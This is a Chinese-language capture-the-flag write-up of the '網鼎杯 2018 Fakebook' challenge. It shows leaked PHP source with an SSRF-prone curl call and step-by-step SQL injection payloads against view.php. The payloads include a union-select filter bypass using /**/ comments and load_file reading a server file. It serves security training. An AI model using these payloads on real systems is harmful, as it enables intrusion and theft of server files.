題目連結:[網鼎杯 2018]Fakebook。
題目開啟後如下所示。
透過目錄掃描,發現存在 rebots.txt 檔案與 flag.php 檔案,但 flag.php 檔案訪問後無內容,rebots.txt 檔案訪問後回顯如下。
下載 user.php.bak,原始碼如下。
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
透過對檔案 "user.php.bak" 的分析,可以發現,在 UserInfo 的 get 方法中,存在 SSRF 漏洞。
接下來,隨意註冊一個使用者,訪問其的主頁,如下。
發現似乎 blog 的內容會被伺服器請求,並且回顯在頁面中。因此,這道題目的思路就比較明確了,就是如何透過 SSRF 訪問到 flag.php,並將 flag.php 的內容回顯到頁面中。
接著,發現 view.php 的 no 引數存在 SQL 注入漏洞。
從響應包中,可以得知網站的物理路徑(/var/www/html)。
接下來,嘗試 SQL 注入。
透過 Payload:no=1 or 1=1;#
、no=1' or 1=1;#
、no=1" or 1=1;#
的回顯結果,確認是數字型注入。
接著,透過 order by,判斷結果集的列數為 4。
使用聯合注入,Payload:?no=-1 union select 1,2,3,4;#
,發現提示被過濾。
透過 fuzzing,發現是檢測了字串 "union select",因此使用註釋符:/**/
繞過。
繼續使用聯合注入,Payload:?no=-1 union/**/select 1,2,3,4;#
,發現回顯點在 username 處(對應第二列)。
接著,查詢資料庫名,Payload:?no=-1+union/**/select+1,database(),3,4%3b%23
。
接著,查詢資料庫使用者,Payload:?no=-1+union/**/select+1,user(),3,4%3b%23
。
可以發現,系 root 使用者,因此直接使用 load_file 函式讀取 flag.php 內容,Payload:?no=-1+union/**/select+1,load_file("/var/www/html/flag.php"),3,4%3b%23
。
參考:
- buuctf-[網鼎杯 2018]Fakebook 1。